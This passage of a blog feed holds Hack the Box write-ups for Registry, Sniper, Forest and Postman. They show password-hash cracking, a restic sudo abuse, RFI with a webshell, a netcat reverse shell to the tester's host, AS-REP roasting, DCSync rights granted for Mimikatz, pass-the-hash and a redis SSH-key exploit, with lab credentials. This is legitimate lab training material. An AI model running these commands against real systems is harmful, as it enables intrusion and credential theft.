up being fruitful however and we are able to gather the SSH key's password required. Sure enough, with the required information we are able to get on to Registry and claim the user flag. Root exploitation With our newfound access we can poke around and see if anything interesting pops up. Sure enough we find a very interesting file under /var/www/html we didn't see previously. bolt@bolt:/var/www/html$ cat backup.php &lt;?php shell_exec(\"sudo restic backup -r rest:http://backup.registry.htb/bolt bolt\"); If we keep going down the rabbit hole, we see a bolt folder under /var/www/html as well. A bit of poking and proding and we find that there is a Bolt CMS running under /bolt/bolt/. Unfortunately admin/admin did not work out this time, nor did any other obvious choices - guess we can't get lucky twice. Switching our focus back to the the /var/www/html/bolt/app folder, we do find something interesting - a sqlite file, bolt.db. Let's get a copy of that back over to our machine and see what we can get from it. root@kali:~/Desktop/HTB/Registry# sqlite3 bolt.db SQLite version 3.30.0 2019-10-04 15:03:17 Enter \".help\" for usage hints. sqlite&gt; select * from bolt_users; 1|admin|$2y$10$e.ChUytg9SrL7AsboF2bX.wWKQ1LkS5Fi3/Z0yYD86.P5E9cpY7PK|bolt@registry.htb|2019-10-31 02:51:13|10.10.14.133|Admin|[\"files://test.php\",\"files://mrxy.php\"]|1||||0||[\"root\",\"everyone\"] sqlite&gt; Alright interesting! A quick search online and we find the right format to run this through hashcat. .\\hashcat64.exe --help | Select-String \" 3200\" 3200 | bcrypt $2*$, Blowfish (Unix) | Operating Systems Let's run it through rockyou.txt and see if we can get a hit. .\\hashcat64.exe -m 0 .\\registry.hash .\\rockyou.txt -m 3200 Beautiful! With our newfound strawberry password we should be able to access the CMS instance. I ended up wasting quite a bit of time here playing with the twig formating. Since we weren't able to upload php files I attempted to get arbitrary code execution through twig, however I was only able to get basic things executed properly. After taking a breath I took a different approach. It looks like we have the ability to modify configuration files. Let's add php explicitly and see if we can add our webshell files. Two complications arose at this point. Firstly, it seems that the config file is being reverted every 2 minutes or so. Anything we want to accomplish needs to be done quickly to avoid being blocked. Second issue encountered was that any remote connections seemed to be blocked from our uploaded php shell. Thankfully this issue was a bit easier to solve as we already had a shell on the host as bolt. The plan came down to: Edit the configuration to allow PHP upload Upload a PHP bind shell Then connect to the bind shell using our bolt shell And all before the automated revert wipes out any of our progress. Thankfully within a minimal amount of attempts I managed to get through. Once on we are able to confirm our previous observation regarding the sudo rule we can run as www-data. www-data@bolt:/$ sudo -l sudo -l Matching Defaults entries for www-data on bolt: env_reset, exempt_group=sudo, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin\\:/snap/bin User www-data may run the following commands on bolt: (root) NOPASSWD: /usr/bin/restic backup -r rest* Not being familiar with rustic operations a quick search later and Rustic's docs helped me understand the gist of what needs to happen. Despite that, I still managed to botch the command syntax and I anticlimatically got the root flag immediately. In all honesty I didn't realize at first the output WAS the flag itself - definitely a facepalm moment until I realized what my command was actually doing. www-data@bolt:/$ sudo /usr/bin/restic backup -r rest* --files-from /root/root.txt restic backup -r rest* --files-from /root/root.txt /ntrkzgnkotaxyju0ntrinda4yzbkztgw does not exist, skipping Fatal: all target directories/files do not exist Where ntrkzgnkotaxyju0ntrinda4yzbkztgw was indeed the root flag. Well, what a trip! With that our journey with Registry is complete! Thanks folks, until next time. Extra fun I always enjoy being on a machine where other folks are actively working on it as well. It generally results in interesting moments such as the below. I feel your pain my friend, I feel your pain..." }, { "title": "Hack the Box - Sniper", "url": "/hack-the-box/2020/04/04/htb-machine-sniper/", "categories": "hack-the-box", "tags": "htb, lfi, rfi, samba, chm", "date": "2020-04-04 12:01:00 -0400", "content": "Introduction From an initial LFI/RFI foothold within the company website, to abusing malicious Windows help files, Sniper presents the story of a disgruntled developer and their middle finger to the Administrator/CEO on their way out. Sniper was a fun machine with a new angle on the RFI approach I had not used before and allowed me an opportunity to work with CHM files, something I previously also had not done. Initial Recon Let's start off this machine with an NMAP scan to see what we are working with. root@kali:~/Desktop/HTB/Sniper# nmap -sV -sC -p- 10.10.10.151 Starting Nmap 7.70 ( https://nmap.org ) at 2019-11-01 17:53 EDT Stats: 0:02:02 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan SYN Stealth Scan Timing: About 46.77% done; ETC: 17:57 (0:02:19 remaining) Stats: 0:02:48 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan SYN Stealth Scan Timing: About 83.17% done; ETC: 17:56 (0:00:34 remaining) Stats: 0:04:21 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan NSE Timing: About 99.85% done; ETC: 17:57 (0:00:00 remaining) Nmap scan report for 10.10.10.151 Host is up (0.019s latency). Not shown: 65530 filtered ports PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/10.0 |_http-title: Sniper Co. 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds? 49667/tcp open msrpc Microsoft Windows RPC Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: mean: 7h00m46s, deviation: 0s, median: 7h00m46s | smb2-security-mode: | 2.02: |_ Message signing enabled but not required | smb2-time: | date: 2019-11-02 00:58:03 |_ start_date: N/A We boot up Burp and go take a look at the webpage. Interesting, looks like a company called \"Sniper Co.\". Poking around the site and taking a look at Burp we find a few interesting things. First we see there is a /user/registration.php page. Looks like we can register a user. Let's create a new test/test account and see if there is anything useful on the other side. Bummer, doesn't seem like there is much else here even when poking at the source. Let's move on to the blog page. There seems to be an interesting way they load the different language files. We can give a local file inclusion angle a shot and see if we can get any information back. We choose a standard Windows file. Alright, we are starting to make some progress. I tried kicking off an Apache instance locally and attempted transforming the LFI to an RFI. Unfortunately it was not calling back the files hosted on my local machine. A bit of digging later stumbled on to a post going into details of how to perform these types of RFI attacks leveraging a Samba instance and UNC paths rather than a regular HTTP address. The breakdown is essentially that PHP has allow_url_include set to off by default. By leveraging a UNC path rather than HTTP we can inject the remote location and get it called successfully. Alright, getting our local Samba installation running and using a trusty WebShell manage to successfully get a foothold on the host! I skipped a few screenshots of getting the following steps ready but it boiled down to creating a new folder that our iusr had rights to then upload a netcat executable. From there we should be able to establish a shell connection to our host. User exploitation With our shell connection established we take a look at the directory and what we can see. Directory of C:\\inetpub\\wwwroot\\user 10/01/2019 08:44 AM &lt;DIR&gt; . 10/01/2019 08:44 AM &lt;DIR&gt; .. 04/11/2019 05:15 PM 108 auth.php 04/11/2019 05:52 AM &lt;DIR&gt; css 04/11/2019 10:51 AM 337 db.php 04/11/2019 05:23 AM &lt;DIR&gt; fonts 04/11/2019 05:23 AM &lt;DIR&gt; images 04/11/2019 06:18 AM 4,639 index.php 04/11/2019 05:23 AM &lt;DIR&gt; js 04/11/2019 06:10 AM 6,463 login.php 04/08/2019 11:04 PM 148 logout.php 10/01/2019 08:42 AM 7,192 registration.php 08/14/2019 10:35 PM 7,004 registration_old123123123847.php 04/11/2019 05:23 AM &lt;DIR&gt; vendor 7 File(s) 25,891 bytes 7 Dir(s) 17,926,541,312 bytes free There are a few files here that we didn't see in our initial web recon. Taking a poke inside a few and we find something quite interesting. C:\\inetpub\\wwwroot\\user&gt;type db.php type db.php &lt;?php // Enter your Host, username, password, database below. // I left password empty because i do not set password on localhost. $con = mysqli_connect(\"localhost\",\"dbuser\",\"36mEAhz/B8xQ~2VM\",\"sniper\"); // Check connection if (mysqli_connect_errno()) { echo \"Failed to connect to MySQL: \" . mysqli_connect_error(); } ?&gt; Very interesting... looks like we have a password. Now let's find our username. A quick check under C:\\Users and we see that there are two user directories: Administrator and Chris. Let's assume Chris is our user level access and attempt to pivot from iusr to Chris. Unlike a linux based \"su username\" Windows impersonation is a bit more involved. There is a good explanation of how to perform that on this post. So let's give that a shot. $user = \"Sniper\\Chris\" $pass = ConvertTo-SecureString '36mEAhz/B8xQ~2VM' -AsPlainText -Force $cred = New-Object System.Management.Automation.PSCredential($user,$pass) Invoke-Command -Computer Sniper -ScriptBlock { mkdir C:\\temp2 } -Credential $cred PS C:\\&gt; cd temp2 cd temp2 PS C:\\temp2&gt; cp ..\\temp\\nc64.exe . PS C:\\temp2&gt; Invoke-Command -Computer Sniper -ScriptBlock { C:\\temp2\\nc64.exe 10.10.14.29 31337 -e cmd.exe } -Credential $cred Invoke-Command -Computer Sniper -ScriptBlock { C:\\temp2\\nc64.exe 10.10.14.29 31337 -e cmd.exe } -Credential $cred And with our listening shell ready and waiting... root@kali:~/Desktop/HTB/Sniper# nc -lnvp 31337 Listening on [0.0.0.0] (family 2, port 31337) Connection from 10.10.10.151 49742 received! Microsoft Windows [Version 10.0.17763.678] (c) 2018 Microsoft Corporation. All rights reserved. C:\\Users\\Chris\\Documents&gt;whoami whoami sniper\\chris ... C:\\Users\\Chris\\Desktop&gt;dir dir Volume in drive C has no label. Volume Serial Number is 6A2B-2640 Directory of C:\\Users\\Chris\\Desktop 04/11/2019 08:15 AM &lt;DIR&gt; . 04/11/2019 08:15 AM &lt;DIR&gt; .. 04/11/2019 08:15 AM 32 user.txt 1 File(s) 32 bytes 2 Dir(s) 17,985,708,032 bytes free C:\\Users\\Chris\\Desktop&gt;type user.txt type user.txt 21f4d0f2********************* C:\\Users\\Chris\\Desktop&gt; No time to sleep we need to continue down the rabbit hole. Root exploitation If we take a look at Chris' files we notice something interesting in the downloads. There is a file: instructions.chm. I wasn't too familiar with the file format so a quick search later and quickly find out it's a help file format. We are able to get it decompiled to a readable format. Seems our Chris is not exactly happy with his current situation, nor is his opinion of the CEO too flaterring. A bit more recon and we find a Docs folder under the C:\\ drive. Seems our CEO was also not a great fan of Chris. PS C:\\Docs&gt; type note.txt Hi Chris, \tYour php skillz suck. Contact yamitenshi so that he teaches you how to use it and after that fix the website as there are a lot of bugs on it. And I hope that you've prepared the documentation for our new app. Drop it here when you're done with it. Regards, Sniper CEO. So this seemed quite interesting. If we read between the lines we can assume that the CEO, assumingly the Administrator, is performing some form of processing based on a file we are supposed to put in this directory. Some searching around and I stumbled on to Nishang's github repo where he provided a utility to craft chm based exploits. I ended up having to open up my Windows VM but managed to get the file crafted. Then if we move it over to C:\\Docs and go check our temp2 folder, our root flag is present! Just like that our journey with Sniper is done. Maybe we will have a sequel and see what ends up happening between the CEO and Chris. Thanks folks, until next time!" }, { "title": "Hack the Box - Forest", "url": "/hack-the-box/2020/04/03/htb-machine-forest/", "categories": "hack-the-box", "tags": "htb, active-directory, mimikatz, bloodhound, dcsync, kerberos", "date": "2020-04-03 12:00:00 -0400", "content": "Introduction Forest started with Windows enumeration using SMB and LDAP queries that lead to leveraging a lingering service account with PRE_AUTH disabled for user access. Once on the machine, we were able to abuse the existing Active Directory entitlements to create a malicious user entry with the rights to perform a DCSync using Mimikatz to acquire the Administrator's hash, finally using it to execute a pass-the-hash escalation to Administrator. Despite the chronological time of this writeup being released, Forest was one of the first HTB machines where I really had a chance to dig into AD/Kerberos from a Windows and offensive tools perspective. There were definitely some roadbumps throughout the process, but looking back on it now that I have completed a few more of these types of machines I realize Forest was indeed a great introduction to the technology stack. Initial Recon Let us kick this off with an NMAP scan to see what we are working with. root@kali:~/Desktop/HTB/Forest# nmap -sV -sC 10.10.10.161 Starting Nmap 7.70 ( https://nmap.org ) at 2019-10-20 22:29 EDT Stats: 0:02:18 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan Service scan Timing: About 90.91% done; ETC: 22:32 (0:00:12 remaining) Stats: 0:04:06 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan NSE Timing: About 99.93% done; ETC: 22:33 (0:00:00 remaining) Nmap scan report for 10.10.10.161 Host is up (0.12s latency). Not shown: 989 closed ports PORT STATE SERVICE VERSION 53/tcp open domain? | fingerprint-strings: | DNSVersionBindReqTCP: | version |_ bind 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2019-10-21 02:37:50Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name) 445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB) 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port53-TCP:V=7.70%I=7%D=10/20%Time=5DAD183B%P=x86_64-pc-linux-gnu%r(DNS SF:VersionBindReqTCP,20,\"\\0\\x1e\\0\\x06\\x81\\x04\\0\\x01\\0\\0\\0\\0\\0\\0\\x07version SF:\\x04bind\\0\\0\\x10\\0\\x03\"); Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: mean: 2h27m37s, deviation: 4h02m33s, median: 7m34s | smb-os-discovery: | OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3) | Computer name: FOREST | NetBIOS computer name: FOREST\\x00 | Domain name: htb.local | Forest name: htb.local | FQDN: FOREST.htb.local |_ System time: 2019-10-20T19:40:11-07:00 | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: required | smb2-security-mode: | 2.02: |_ Message signing enabled and required | smb2-time: | date: 2019-10-20 22:40:06 |_ start_date: 2019-10-20 22:26:18 Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 257.17 seconds Side comment: Going back through my notes makes me realize how much I've learned from a process standpoint. Today, if I would have seen the above and immediately would have gone for an LDAP root-dse query followed up by enumerating users from that angle. I will leave the details of how that can be done out for now as I will address it in coming writeups. We needed to continue our enumeration. I tried a few different things like SMB enumeration, NMAP scripts, and enum4linux. They all \"worked\" but I feel in this particular case enum4linux provided the most relevant data. ============================= | Users on 10.10.10.161 | ============================= Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 866. index: 0x2137 RID: 0x463 acb: 0x00020015 Account: $331000-VK4ADACQNUCA\tName: (null)\tDesc: (null) index: 0xfbc RID: 0x1f4 acb: 0x00000010 Account: Administrator\tName: Administrator\tDesc: Built-in account for administering the computer/domain index: 0x2369 RID: 0x47e acb: 0x00000210 Account: andy\tName: Andy Hislip\tDesc: (null) index: 0x2372 RID: 0x1db1 acb: 0x00000010 Account: backdoor\tName: (null)\tDesc: (null) index: 0xfbe RID: 0x1f7 acb: 0x00000215 Account: DefaultAccount\tName: (null)\tDesc: A user account managed by the system. index: 0xfbd RID: 0x1f5 acb: 0x00000215 Account: Guest\tName: (null)\tDesc: Built-in account for guest access to the computer/domain index: 0x2352 RID: 0x478 acb: 0x00000210 Account: HealthMailbox0659cc1\tName: HealthMailbox-EXCH01-010\tDesc: (null) index: 0x234b RID: 0x471 acb: 0x00000210 Account: HealthMailbox670628e\tName: HealthMailbox-EXCH01-003\tDesc: (null) index: 0x234d RID: 0x473 acb: 0x00000210 Account: HealthMailbox6ded678\tName: HealthMailbox-EXCH01-005\tDesc: (null) index: 0x2351 RID: 0x477 acb: 0x00000210 Account: HealthMailbox7108a4e\tName: HealthMailbox-EXCH01-009\tDesc: (null) index: 0x234e RID: 0x474 acb: 0x00000210 Account: HealthMailbox83d6781\tName: HealthMailbox-EXCH01-006\tDesc: (null) index: 0x234c RID: 0x472 acb: 0x00000210 Account: HealthMailbox968e74d\tName: HealthMailbox-EXCH01-004\tDesc: (null) index: 0x2350 RID: 0x476 acb: 0x00000210 Account: HealthMailboxb01ac64\tName: HealthMailbox-EXCH01-008\tDesc: (null) index: 0x234a RID: 0x470 acb: 0x00000210 Account: HealthMailboxc0a90c9\tName: HealthMailbox-EXCH01-002\tDesc: (null) index: 0x2348 RID: 0x46e acb: 0x00000210 Account: HealthMailboxc3d7722\tName: HealthMailbox-EXCH01-Mailbox-Database-1118319013\tDesc: (null) index: 0x2349 RID: 0x46f acb: 0x00000210 Account: HealthMailboxfc9daad\tName: HealthMailbox-EXCH01-001\tDesc: (null) index: 0x234f RID: 0x475 acb: 0x00000210 Account: HealthMailboxfd87238\tName: HealthMailbox-EXCH01-007\tDesc: (null) index: 0xff4 RID: 0x1f6 acb: 0x00000011 Account: krbtgt\tName: (null)\tDesc: Key Distribution Center Service Account index: 0x2360 RID: 0x47a acb: 0x00000210 Account: lucinda\tName: Lucinda Berger\tDesc: (null) index: 0x236a RID: 0x47f acb: 0x00000210 Account: mark\tName: Mark Brandt\tDesc: (null) index: 0x236b RID: 0x480 acb: 0x00000210 Account: santi\tName: Santi Rodriguez\tDesc: (null) index: 0x235c RID: 0x479 acb: 0x00000210 Account: sebastien\tName: Sebastien Caron\tDesc: (null) index: 0x215a RID: 0x468 acb: 0x00020011 Account: SM_1b41c9286325456bb\tName: Microsoft Exchange Migration\tDesc: (null) index: 0x2161 RID: 0x46c acb: 0x00020011 Account: SM_1ffab36a2f5f479cb\tName: SystemMailbox{8cc370d3-822a-4ab8-a926-bb94bd0641a9}\tDesc: (null) index: 0x2156 RID: 0x464 acb: 0x00020011 Account: SM_2c8eef0a09b545acb\tName: Microsoft Exchange Approval Assistant\tDesc: (null) index: 0x2159 RID: 0x467 acb: 0x00020011 Account: SM_681f53d4942840e18\tName: Discovery Search Mailbox\tDesc: (null) index: 0x2158 RID: 0x466 acb: 0x00020011 Account: SM_75a538d3025e4db9a\tName: Microsoft Exchange\tDesc: (null) index: 0x215c RID: 0x46a acb: 0x00020011 Account: SM_7c96b981967141ebb\tName: E4E Encryption Store - Active\tDesc: (null) index: 0x215b RID: 0x469 acb: 0x00020011 Account: SM_9b69f1b9d2cc45549\tName: Microsoft Exchange Federation Mailbox\tDesc: (null) index: 0x215d RID: 0x46b acb: 0x00020011 Account: SM_c75ee099d0a64c91b\tName: Microsoft Exchange\tDesc: (null) index: 0x2157 RID: 0x465 acb: 0x00020011 Account: SM_ca8c2ed5bdab4dc9b\tName: Microsoft Exchange\tDesc: (null) index: 0x2365 RID: 0x47b acb: 0x00010210 Account: svc-alfresco\tName: svc-alfresco\tDesc: (null) Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 881. user:[Administrator] rid:[0x1f4] user:[Guest] rid:[0x1f5] user:[krbtgt] rid:[0x1f6] user:[DefaultAccount] rid:[0x1f7] user:[$331000-VK4ADACQNUCA] rid:[0x463] user:[SM_2c8eef0a09b545acb] rid:[0x464] user:[SM_ca8c2ed5bdab4dc9b] rid:[0x465] user:[SM_75a538d3025e4db9a] rid:[0x466] user:[SM_681f53d4942840e18] rid:[0x467] user:[SM_1b41c9286325456bb] rid:[0x468] user:[SM_9b69f1b9d2cc45549] rid:[0x469] user:[SM_7c96b981967141ebb] rid:[0x46a] user:[SM_c75ee099d0a64c91b] rid:[0x46b] user:[SM_1ffab36a2f5f479cb] rid:[0x46c] user:[HealthMailboxc3d7722] rid:[0x46e] user:[HealthMailboxfc9daad] rid:[0x46f] user:[HealthMailboxc0a90c9] rid:[0x470] user:[HealthMailbox670628e] rid:[0x471] user:[HealthMailbox968e74d] rid:[0x472] user:[HealthMailbox6ded678] rid:[0x473] user:[HealthMailbox83d6781] rid:[0x474] user:[HealthMailboxfd87238] rid:[0x475] user:[HealthMailboxb01ac64] rid:[0x476] user:[HealthMailbox7108a4e] rid:[0x477] user:[HealthMailbox0659cc1] rid:[0x478] user:[sebastien] rid:[0x479] user:[lucinda] rid:[0x47a] user:[svc-alfresco] rid:[0x47b] user:[andy] rid:[0x47e] user:[mark] rid:[0x47f] user:[santi] rid:[0x480] user:[backdoor] rid:[0x1db1] With this we have a few user accounts to play with. Let us see what we can do with them. User exploitation Time to go a bit into Kerberos theory. If we follow the diagram I whipped up below we can follow the three steps of accessing a Kerberized service: AS -&gt; TGT -&gt; TGS. To understand the next step and why we chose a certain script within impacket, let us add one extra detail to this background authentication flow - kerberos pre-authentication. LDAPwiki does a great job of explaining firstly what it is and then what can happen when it is not set. Kerberos Pre-Authentication is a security feature which offers protection against password-guessing attacks. The AS request identifies the client to the KDC in Plaintext. If Kerberos Pre-Authentication is enabled, a Timestamp will be encrypted using the user's password hash as an encryption key. If the KDC reads a valid time when using the user's password hash, which is available in the Microsoft Active Directory, to decrypt the Timestamp, the KDC knows that request isn't a replay of a previous request. Without Kerberos Pre-Authentication a malicious attacker can directly send a dummy request for authentication. The KDC will return an encrypted TGT and the attacker can brute force it offline. That last part is exactly what we are interested in. If there are accounts that have pre_auth explicitly disabled we would be able to request a TGT as that user and then pass the encrypted data to our favorite JTR/Hashcat. Impacket has a very useful script for exactly this - GetNPUsers.py. Excellent! Looks like we were able to capture a request for the account svc_alfresco. If we take a quick peek at the captured hash... root@kali:~/Desktop/HTB/Forest# cat npusers.hash $krb5asrep$23$svc-alfresco@HTB.LOCAL:ab01345dba7d10f018f58623f1725fd8$3d748c20fdd6239e33e8633ef8791d87ceb0f509bd1c1c32d39e61e0db0bc6eef88f493a81f94746236954408fd5761451b52c3dfa7000772edc2879b22bdb86eb782c778a0ea2049e67bef67744a0de7cdaed5e0b0117b709d5a43714d599a901970e89d416ea18658afac91d1ce69302c9ed196ed304420a325d23f6f367a690e96b7fa448b114fa36b65ab2d3e9c95c96ddea5965cc5655b5c3b200385ce7bf255f4efef28cbe3d87c722729e4fb5c11f2e912a63c960960a6c725c941efed3f87eab257c9cc20b9ebd8f7cdb308495c7c849540c8179c8fe4c20723219cecf7173017914 For no other reason than \"because\" I felt like using Hashcat at this particular point. If we run this hash through hashcat with the trusty rockyou.txt wordlist. We now have a user and password credential set! Perfect! Let us log in and see if we can get to our first flag. User down, time to move on to Administrator. Root exploitation Now that we have user access, let's see how we can escalate our entitlements. Since this is a Windows/Active Directory based machine we can use tooling like Bloodhound to check on combined entitlements that can be used to help our efforts out. I focused on using the python version as I found it easier and more stable to work with rather than running on the host locally and passing the result files back over to our own machine. root@kali:~/Desktop/HTB/impacket/BloodHound.py# python3 bloodhound.py -d htb.local -u svc-alfresco -p s3rvice -gc htb.local -ns 10.10.10.161 -dc htb.local -c all INFO: Found AD domain: htb.local INFO: Connecting to LDAP server: htb.local INFO: Found 1 domains INFO: Found 1 domains in the forest INFO: Found 2 computers INFO: Connecting to LDAP server: htb.local WARNING: Could not resolve SID: S-1-5-21-3072663084-364016917-1341370565-1153 WARNING: Could not resolve SID: S-1-5-21-3072663084-364016917-1341370565-1153 WARNING: Could not resolve SID: S-1-5-21-3072663084-364016917-1341370565-1153 WARNING: Could not resolve SID: S-1-5-21-3072663084-364016917-1341370565-1153 WARNING: Could not resolve SID: S-1-5-21-3072663084-364016917-1341370565-1153 INFO: Found 35 users INFO: Found 72 groups INFO: Found 0 trusts INFO: Starting computer enumeration with 10 workers INFO: Querying computer: EXCH01.htb.local INFO: Querying computer: FOREST.htb.local INFO: Done in 00M 24S Starting our ne04j and bloodhound instances locally we can then import these result files. First we trace down what entitlements our svc-alfresco service account has, then secondly show the relationships our end-goal Administrator has. So what does this mean? Took me awhile to understand what angle we wanted to achieve here. It essentially boils down to we have the ability, to give ourselves the ability, to trigger a DCSync between the EXCH01.htb.local and FOREST.htb.local, which should provide us the Administrator (or any account for that matter) password hash. The theory behind the approach can be seen this github repo and has a few other related escalation approaches worth reading up on. First up, we need to ensure we are added to the Exchange Windows Permissions Group which grants up writeDACL on the domain object itself. Again here, knowing what I know now I would have just leveraged svc-alfresco and added that account the group, but for my lack of understanding I first created a new user, TEST3, to which I then added to the proper groups. *Evil-WinRM* PS C:\\Users\\svc-alfresco\\Documents&gt; Add-NetUser -UserName TEST3 -Password Password123 -GroupName \"Domain Users\" -Domain 'htb.local' [*] User TEST3 successfully created in domain htb.local *Evil-WinRM* PS C:\\Users\\svc-alfresco\\Documents&gt; Add-NetGroupUser -UserName TEST3 -GroupName \"Service Accounts\" -Domain forest.htb.local *Evil-WinRM* PS C:\\Users\\svc-alfresco\\Documents&gt; Add-NetGroupUser -UserName TEST3 -GroupName \"EXCHANGE WINDOWS PERMISSIONS\" -Domain htb.local *Evil-WinRM* PS C:\\Users\\svc-alfresco\\Documents&gt; Add-NetGroupUser -UserName TEST3 -GroupName \"GROUP POLICY CREATOR OWNERS\" -Domain htb.local *Evil-WinRM* PS C:\\Users\\svc-alfresco\\Documents&gt; Add-NetGroupUser -UserName TEST3 -GroupName \"ORGANIZATION MANAGEMENT\" -Domain htb.local *Evil-WinRM* PS C:\\Users\\svc-alfresco\\Documents&gt; Add-NetGroupUser -UserName TEST3 -GroupName \"EXCHANGE TRUSTED SUBSYSTEM\" -Domain htb.local *Evil-WinRM* PS C:\\Users\\svc-alfresco\\Documents&gt; net user TEST3 /domain User name TEST3 Full Name Comment User's comment Country/region code 000 (System Default) Account active Yes Account expires Never Password last set 10/22/2019 8:51:39 PM Password expires 12/3/2019 8:51:39 PM Password changeable 10/23/2019 8:51:39 PM Password required Yes User may change password Yes Workstations allowed All Logon script User profile Home directory Last logon Never Logon hours allowed All Local Group Memberships Global Group memberships *Exchange Windows Perm*Organization Manageme *Domain Users *Group Policy Creator *Exchange Trusted Subs With our user created and in the right group, we still had one last step to prepare before we could execute the dcsync exploit. The theory behind the approach can be seen this article and elaborates that we should need DS-Replication-Get-Changes-All. Let's add that to our new TEST3 user. $id = [Security.Principal.WindowsIdentity]::GetCurrent() Add-ADPermission \"DC=htb,DC=local\" -User $id.Name -ExtendedRights Ds-Replication-Get-Changes-All A quick relog to apply the changes and now we should be ready to kick off the dcsync. Despite many options available I ended up loading mimikatz to the host to run the attack locally. Beautiful, we have our Administrator hash. All that is left is to kick off a pass-the-hash to start a session as Administrator. Last step, let's get root.txt. And just like that Forest is complete. Thanks folks until next time. Extra fun Looking back on my notes and approach here I definitely see how while this machine was overall simplistic, it highlighted my lack of knowledge on these topics. In future machines of this nature I would generally try and focus on a few different things. Keep things simple and use what is present - Instead of creating a new account which can leave incriminating logs and evidence, I should have leverage the svc-alfresco account more. Avoid uploading files - Similarly instead of sending executables and result files back and forth between hosts I could have tried focusing on remote possibilities. Overall, it got me to the same conclusion, but the point of going through these exercises is to improve our overall knowledge and thinking processes. This machine definitely achieved that goal." }, { "title": "Hack the Box - Postman", "url": "/hack-the-box/2020/03/14/htb-machine-postman/", "categories": "hack-the-box", "tags": "htb, redis, webmin, metasploit, john-the-ripper", "date": "2020-03-14 12:00:00 -0400", "content": "Introduction Postman was a quick, simple machine from HTB. We start off with a redis exploit for initial foothold, then pivot to user by using JTR to crack a backup SSH key before finally using an authenticated Webmin exploit to escalate ourselves to root. The only real tricky part of the machine was having to do a bit of guess work of the redis user's home directory. Otherwise, this machine was a welcome mental break from some of the previous harder ones like Bankrobber or Zetta. Initial Recon Let us kick things off with our regular NMAP scan. root@kali:~/Desktop/HTB/Postman# nmap -sV -sV -p- 10.10.10.160 Starting Nmap 7.70 ( https://nmap.org ) at 2019-11-03 15:06 EST Nmap scan report for 10.10.10.160 Host is up (0.017s latency). Not shown: 65531 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) 6379/tcp open redis Redis key-value store 4.0.9 10000/tcp open http MiniServ 1.910 (Webmin httpd) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 83.02 seconds Alright, so trusty SSH, an Apache instance, a redis instance, and seemingly another web-based Webmin instance. Checking out the Apache instance doesn't give us all too much information. Unfortunately even checking the source code does not reveal more value to this page. Let's try the Webmin instance and see if we can get any further. Alright this looks a bit more promising. The downside is there is no version number listed anywhere. We can try logging in using admin/admin and other default sets of credentials, however no luck with that approach. If we take a look at searchsploit for potential exploits we have quite a few options. We can rule out the authenticated exploits for now since we don't have a sets of credentials. After a bit of trial and error nothing pans out with the Webmin angle. One last service to check, so let's take a look at redis. User exploitation Immediately upon searching I find a several redis exploit examples. The most interesting example was from the redis author about the security of the underlaying AUTH model. There is even an available repo where this has been scripted up. Perfect, let's see if we can use this to get an initial shell. root@kali:~/Desktop/HTB/Postman# python redis2.py 10.10.10.160 redis \t******************************************************************* \t* [+] [Exploit] Exploiting misconfigured REDIS SERVER* \t* [+] AVINASH KUMAR THAPA aka \"-Acid\" \t******************************************************************* \t SSH Keys Need to be Generated Generating public/private rsa key pair. Enter file in which to save the key (/root/.ssh/id_rsa): /root/.ssh/id_rsa already exists. Overwrite (y/n)? y Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in /root/.ssh/id_rsa. Your public key has been saved in /root/.ssh/id_rsa.pub. The key fingerprint is: SHA256:ehV0s6WYeZuU4WmOxs6sjnjY7ARUjlWUqy1tpaKW0X8 acid_creative The key's randomart image is: +---[RSA 2048]----+ | ooo.. + . | | = .. * O | | o . .= X | | . ...B o | | .. +So= + | | ..=.=* | | Bo=. + | | =o+o..E | | ..oo.o. | +----[SHA256]-----+ \t Keys Generated Successfully OK OK OK OK OK OK \tYou'll get shell in sometime..Thanks for your patience Here is where the frustration starts... everything _seemed_ to be going well, however I did not end up getting the shell. I tried a few different variants, including running the exploit commands manually, even trying the Metasploit module which would attempt to exploit the same angle - all unsuccessfully. After a lot of headscratching and searching around I found an interesting nuance. The exploit was trying to use the \"home\" directory of: cmd4 = cmd1 + ' config set dir' + \" /home/\"+username+\"/.ssh/\" However we find that a redis user sometimes uses /var/lib/. If this is the case the exploit would definitely not work as-is. Let's try modifying the exploit and using the modified home directory. root@kali:~/Desktop/HTB/Postman# python redis2.py 10.10.10.160 